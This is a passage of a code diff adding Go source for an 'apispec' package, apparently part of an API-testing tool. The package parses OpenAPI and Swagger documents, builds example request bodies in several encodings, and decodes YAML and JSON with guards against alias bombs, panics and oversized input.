s.Kind = AuthAPIKey
s.ParamName = stringMember(m, "name")
switch strings.ToLower(stringMember(m, "in")) {
case "query":
s.In = InQuery
case "cookie":
s.In = InCookie
default:
s.In = InHeader
}
// sj special-cases a scheme whose *key* is literally "bearer" into an
// Authorization header. That is a guess about one document's naming, not
// a property of the format: an apiKey scheme says exactly where its value
// goes, and In/ParamName already carry it.
case "oauth2":
s.Kind = AuthOAuth2
s.Automatable = false
case "openidconnect":
s.Kind = AuthOpenID
s.Automatable = false
case "mutualtls":
s.Kind = AuthMutualTLS
s.Automatable = false
default:
s.Kind = AuthHTTPOther
s.Automatable = false
}
return s
}
// parseSecurity reads a security member: a list of alternatives, each naming
// schemes that must all be satisfied.
func parseSecurity(v any) []SecurityRequirement {
items, ok := v.([]any)
if !ok {
return nil
}
out := make([]SecurityRequirement, 0, len(items))
for _, item := range items {
m, ok := item.(map[string]any)
if !ok {
continue
}
req := SecurityRequirement{}
for _, name := range sortedKeys(m) {
req.Schemes = append(req.Schemes, name)
if scopes := stringSlice(m[name]); len(scopes) > 0 {
if req.Scopes == nil {
req.Scopes = map[string][]string{}
}
req.Scopes[name] = scopes
}
}
if len(req.Schemes) > 0 {
out = append(out, req)
}
}
return out
}
+242
View File
@@ -0,0 +1,242 @@
package apispec
import (
"bytes"
"encoding/json"
"fmt"
"mime/multipart"
"net/url"
"strings"
)
// parseBodies reads an OpenAPI 3 requestBody into one Body per declared content
// type, in sorted order.
//
// Every content type is kept. sj loops over them and lets the last one a map
// iteration happened to yield win, so a document offering both JSON and
// form-encoded produces a different request on different runs.
func parseBodies(
doc map[string]any, opMap map[string]any, pointer string,
p Placeholders, op *Operation, diags *[]Diagnostic,
) {
reqBody, ok := opMap["requestBody"].(map[string]any)
if !ok {
return
}
if ref, ok := reqBody["$ref"].(string); ok && ref != "" {
if !strings.HasPrefix(ref, "#") {
*diags = append(*diags, Diagnostic{
Kind: DiagExternalRef, Ref: ref, Pointer: pointer + "/requestBody",
Detail: "external references are not resolved; only local \"#/...\" pointers are",
})
return
}
target, found := resolvePointer(doc, ref)
if !found {
*diags = append(*diags, Diagnostic{Kind: DiagUnresolvedRef, Ref: ref, Pointer: pointer + "/requestBody"})
return
}
reqBody = target
}
// OR, not assign: a Swagger 2 "in: body" or "in: formData" parameter marked
// required has already run by now, and a v3 requestBody that omits `required`
// must not clobber it back to false.
op.BodyRequired = op.BodyRequired || boolMember(reqBody, "required")
content, ok := reqBody["content"].(map[string]any)
if !ok {
return
}
for _, ct := range sortedKeys(content) {
entry, ok := content[ct].(map[string]any)
if !ok {
continue
}
schema, _ := entry["schema"].(map[string]any)
node := newExpander(doc, diags).expand(schema, pointer+"/requestBody/content/"+escapePointer(ct))
// An explicit example on the media type beats anything synthesized from
// the schema: it is the document telling you what a valid body is.
if ex, ok := entry["example"]; ok && ex != nil {
node = &schemaNode{Example: ex}
}
body, err := encodeBody(ct, node, p)
if err != nil {
*diags = append(*diags, Diagnostic{
Kind: DiagUnsupported, Ref: ct, Pointer: pointer + "/requestBody",
Detail: err.Error(),
})
continue
}
op.Bodies = append(op.Bodies, body)
}
}
// encodeBody serializes a generated example into one media type's wire form.
func encodeBody(contentType string, node *schemaNode, p Placeholders) (Body, error) {
example := generateExample(node, p)
base := mediaBase(contentType)
switch {
case base == "application/json" || strings.HasSuffix(base, "+json"):
raw, err := json.Marshal(example)
if err != nil {
return Body{}, fmt.Errorf("body could not be encoded as JSON: %w", err)
}
return Body{ContentType: contentType, Encoding: EncJSON, Content: raw, Fields: topLevelFields(example)}, nil
case base == "application/xml" || base == "text/xml" || strings.HasSuffix(base, "+xml"):
var buf bytes.Buffer
writeXML(&buf, "root", example, 0)
return Body{ContentType: contentType, Encoding: EncXML, Content: buf.Bytes(), Fields: topLevelFields(example)}, nil
case base == "application/x-www-form-urlencoded":
obj, ok := example.(map[string]any)
if !ok {
return Body{}, fmt.Errorf("form body requires an object schema")
}
values := url.Values{}
for _, k := range sortedKeys(obj) {
values.Set(k, scalarString(obj[k]))
}
return Body{
ContentType: contentType, Encoding: EncForm,
Content: []byte(values.Encode()), Fields: topLevelFields(example),
}, nil
case base == "multipart/form-data":
obj, ok := example.(map[string]any)
if !ok {
return Body{}, fmt.Errorf("multipart body requires an object schema")
}
var buf bytes.Buffer
mw := multipart.NewWriter(&buf)
for _, k := range sortedKeys(obj) {
if err := mw.WriteField(k, scalarString(obj[k])); err != nil {
return Body{}, fmt.Errorf("multipart body could not be encoded: %w", err)
}
}
if err := mw.Close(); err != nil {
return Body{}, fmt.Errorf("multipart body could not be closed: %w", err)
}
// The boundary is stored with the bytes it framed, and ContentType carries
// it. sj serializes with one boundary and then regenerates the header from
// a fresh writer, so the declared boundary does not frame the body.
return Body{
ContentType: mw.FormDataContentType(), Encoding: EncMultipart,
Content: buf.Bytes(), Fields: topLevelFields(example), Boundary: mw.Boundary(),
}, nil
case base == "application/octet-stream":
return Body{ContentType: contentType, Encoding: EncRaw, Content: []byte(p.String)}, nil
case strings.HasPrefix(base, "text/"):
return Body{ContentType: contentType, Encoding: EncRaw, Content: []byte(scalarString(example))}, nil
}
// Unknown media type: send the JSON rendering rather than nothing, so the
// operator has bytes to edit.
raw, err := json.Marshal(example)
if err != nil {
return Body{}, fmt.Errorf("body could not be encoded for %q", contentType)
}
return Body{ContentType: contentType, Encoding: EncRaw, Content: raw}, nil
}
func mediaBase(ct string) string {
if i := strings.IndexByte(ct, ';'); i >= 0 {
ct = ct[:i]
}
return strings.ToLower(strings.TrimSpace(ct))
}
func topLevelFields(example any) []string {
obj, ok := example.(map[string]any)
if !ok {
return nil
}
return sortedKeys(obj)
}
// appendFormField folds a Swagger 2 "in: formData" parameter into the
// operation's form body, creating it on first use.
func appendFormField(op *Operation, name, value string, required bool) {
for i := range op.Bodies {
if op.Bodies[i].Encoding != EncForm {
continue
}
values, err := url.ParseQuery(string(op.Bodies[i].Content))
if err != nil {
values = url.Values{}
}
values.Set(name, value)
op.Bodies[i].Content = []byte(values.Encode())
op.Bodies[i].Fields = append(op.Bodies[i].Fields, name)
op.BodyRequired = op.BodyRequired || required
return
}
values := url.Values{}
values.Set(name, value)
op.Bodies = append(op.Bodies, Body{
ContentType: "application/x-www-form-urlencoded",
Encoding: EncForm,
Content: []byte(values.Encode()),
Fields: []string{name},
})
op.BodyRequired = op.BodyRequired || required
}
// writeXML renders a generated value as XML.
//
// Element names and text are escaped. sj's equivalent escapes neither and emits
// no root element, so a generated value containing "<" produces a body that is
// not XML at all — and here the value can come from a document the target
// controls.
func writeXML(buf *bytes.Buffer, name string, v any, depth int) {
if depth > 32 {
return
}
switch t := v.(type) {
case map[string]any:
buf.WriteString("<" + xmlName(name) + ">")
for _, k := range sortedKeys(t) {
writeXML(buf, k, t[k], depth+1)
}
buf.WriteString("</" + xmlName(name) + ">")
case []any:
for _, item := range t {
writeXML(buf, name, item, depth+1)
}
default:
buf.WriteString("<" + xmlName(name) + ">")
buf.WriteString(escapeXMLText(scalarString(v)))
buf.WriteString("</" + xmlName(name) + ">")
}
}
// xmlName reduces a property name to something that is a legal element name,
// since the name comes from the document.
func xmlName(name string) string {
var b strings.Builder
for i, r := range name {
switch {
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r == '_':
b.WriteRune(r)
case (r >= '0' && r <= '9' || r == '-' || r == '.') && i > 0:
b.WriteRune(r)
default:
b.WriteByte('_')
}
}
if b.Len() == 0 {
return "field"
}
return b.String()
}
func escapeXMLText(s string) string {
r := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;", `"`, "&quot;", "'", "&apos;")
return r.Replace(s)
}
+230
View File
@@ -0,0 +1,230 @@
package apispec
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"regexp"
"strings"
"gopkg.in/yaml.v3"
)
// decodeDocument turns raw spec bytes into a generic document tree.
//
// # Three conditions hold this together; changing any one removes a protection
//
// First, JSON is decoded as JSON. If the first non-space byte is '{' this uses
// encoding/json, which is stricter, faster, and structurally immune to alias
// bombs because JSON has no aliases. Most real documents are JSON, so this takes
// the whole billion-laughs class off the table for the common case.
//
// Second, YAML is decoded INTO A VALUE, never into a yaml.Node. yaml.v3's
// billion-laughs guard lives in the decode path: it counts decodeCount and
// aliasCount while unmarshalling into a value and rejects a document whose alias
// ratio is too high for its size. A yaml.Node keeps aliases unexpanded, so
// walking one yourself bypasses the guard entirely. "Let's decode into a Node so
// diagnostics can carry line numbers" is the reasonable-looking change that
// would silently remove it — take the line numbers from somewhere else.
//
// Third, the guard is a ratio and not a memory cap, so a large document can pass
// it and still expand. countNodes bounds the decoded result afterwards.
//
// Two decode details beyond the guard. yaml.Unmarshal recovers only its own
// error type, so anything else panics out into the caller — hence the recover,
// which is load-bearing and not defensive habit. And duplicate mapping keys come
// back as a *yaml.TypeError while still producing a usable document; real
// documents have them, so they become diagnostics rather than a rejection.
func decodeDocument(data []byte) (map[string]any, []Diagnostic, error) {
if len(data) == 0 {
return nil, nil, fmt.Errorf("document is empty")
}
if len(data) > MaxSpecBytes {
return nil, nil, fmt.Errorf("document is %d bytes, over the %d-byte limit", len(data), MaxSpecBytes)
}
trimmed := bytes.TrimLeft(data, " \t\r\n\uFEFF")
if len(trimmed) == 0 {
return nil, nil, fmt.Errorf("document is empty")
}
var diags []Diagnostic
if trimmed[0] == '{' {
var doc map[string]any
if err := json.Unmarshal(trimmed, &doc); err == nil {
if n := countNodes(doc, 0); n > MaxDocNodes {
return nil, nil, fmt.Errorf("document expands to %d nodes, over the %d-node limit", n, MaxDocNodes)
}
return doc, diags, nil
}
// Fall through: a document that starts with '{' but is not valid JSON may
// still be valid YAML flow mapping.
}
doc, yamlDiags, err := decodeYAML(trimmed)
if err != nil {
return nil, nil, err
}
diags = append(diags, yamlDiags...)
if n := countNodes(doc, 0); n > MaxDocNodes {
return nil, nil, fmt.Errorf("document expands to %d nodes, over the %d-node limit", n, MaxDocNodes)
}
return doc, diags, nil
}
// decodeYAML unmarshals into a value so yaml.v3's alias guard applies, and
// converts a duplicate-key TypeError into diagnostics instead of an error.
func decodeYAML(data []byte) (doc map[string]any, diags []Diagnostic, err error) {
defer func() {
// yaml.Unmarshal's own handleErr recovers only yamlError; a malformed
// document can panic through it, and a panic here would take down the
// whole process for one bad file fetched from a target.
if r := recover(); r != nil {
doc, diags, err = nil, nil, fmt.Errorf("document could not be parsed as YAML: %v", r)
}
}()
var raw map[string]any
uerr := yaml.Unmarshal(data, &raw)
if uerr != nil {
var typeErr *yaml.TypeError
if !errors.As(uerr, &typeErr) {
return nil, nil, fmt.Errorf("document could not be parsed: %w", uerr)
}
// A TypeError still yields a usable document. Every message becomes a
// diagnostic; duplicate keys are common enough in hand-written specs that
// rejecting the file over them would be useless strictness.
for _, msg := range typeErr.Errors {
kind := DiagMalformed
if strings.Contains(msg, "already set in map") || strings.Contains(msg, "duplicate") {
kind = DiagDuplicateKey
}
diags = append(diags, Diagnostic{Kind: kind, Detail: msg})
}
}
if raw == nil {
return nil, nil, fmt.Errorf("document did not decode to an object")
}
// yaml.v3 decodes nested mappings as map[string]any when every key is a
// string, but yields map[any]any otherwise. Normalize so the rest of the
// package only ever sees one shape.
normalized, ok := normalizeMaps(raw).(map[string]any)
if !ok {
return nil, nil, fmt.Errorf("document did not decode to an object")
}
return normalized, diags, nil
}
// normalizeMaps rewrites map[any]any into map[string]any recursively, dropping
// any key that is not representable as a string. A non-string key cannot be
// addressed by a JSON pointer, so nothing downstream could reach it anyway.
func normalizeMaps(v any) any {
switch t := v.(type) {
case map[string]any:
out := make(map[string]any, len(t))
for k, val := range t {
out[k] = normalizeMaps(val)
}
return out
case map[any]any:
out := make(map[string]any, len(t))
for k, val := range t {
ks, ok := k.(string)
if !ok {
continue
}
out[ks] = normalizeMaps(val)
}
return out
case []any:
out := make([]any, len(t))
for i, val := range t {
out[i] = normalizeMaps(val)
}
return out
default:
return v
}
}
// countNodes bounds the decoded document. It stops early once the budget is
// blown, so a document that did expand enormously is not walked in full.
func countNodes(v any, depth int) int {
if depth > 512 {
return MaxDocNodes + 1
}
switch t := v.(type) {
case map[string]any:
n := 1
for _, val := range t {
n += countNodes(val, depth+1)
if n > MaxDocNodes {
return n
}
}
return n
case []any:
n := 1
for _, val := range t {
n += countNodes(val, depth+1)
if n > MaxDocNodes {
return n
}
}
return n
default:
return 1
}
}
// jsSpecAssignRe matches the "var spec = {...};" form a Swagger UI initializer
// uses. Swagger UI bundles serve the document wrapped in JavaScript, and an
// operator who found swagger-ui-init.js has found the document.
var jsSpecAssignRe = regexp.MustCompile(`(?s)(?:let|const|var)\s+\w+\s*=\s*(\{.*?\})\s*;`)
// UnwrapJSSpec extracts an API document embedded in a JavaScript file, reporting
// whether it found one. Input that is not JavaScript is returned unchanged, so
// this is safe to call on every candidate.
func UnwrapJSSpec(body []byte) ([]byte, bool) {
for _, m := range jsSpecAssignRe.FindAllSubmatch(body, 16) {
if len(m) < 2 {
continue
}
candidate := m[1]
if looksLikeSpecJSON(candidate) {
return candidate, true
}
// swagger-ui-init.js nests the document under a wrapper key.
var wrapper map[string]json.RawMessage
if err := json.Unmarshal(candidate, &wrapper); err != nil {
continue
}
for _, key := range []string{"swaggerDoc", "spec", "openapi", "swagger"} {
if inner, ok := wrapper[key]; ok && looksLikeSpecJSON(inner) {
return inner, true
}
}
}
return body, false
}
// looksLikeSpecJSON reports whether bytes parse as an object carrying a version
// token and a paths member.
func looksLikeSpecJSON(b []byte) bool {
var probe struct {
Swagger string `json:"swagger"`
OpenAPI string `json:"openapi"`
Paths json.RawMessage `json:"paths"`
}
if err := json.Unmarshal(b, &probe); err != nil {
return false
}
if len(probe.Paths) == 0 {
return false
}
return strings.HasPrefix(probe.Swagger, "2") || strings.HasPrefix(probe.OpenAPI, "3")
}
Loaded 100 of 409 files, more files were not shown because too many files have changed in this diff. Show more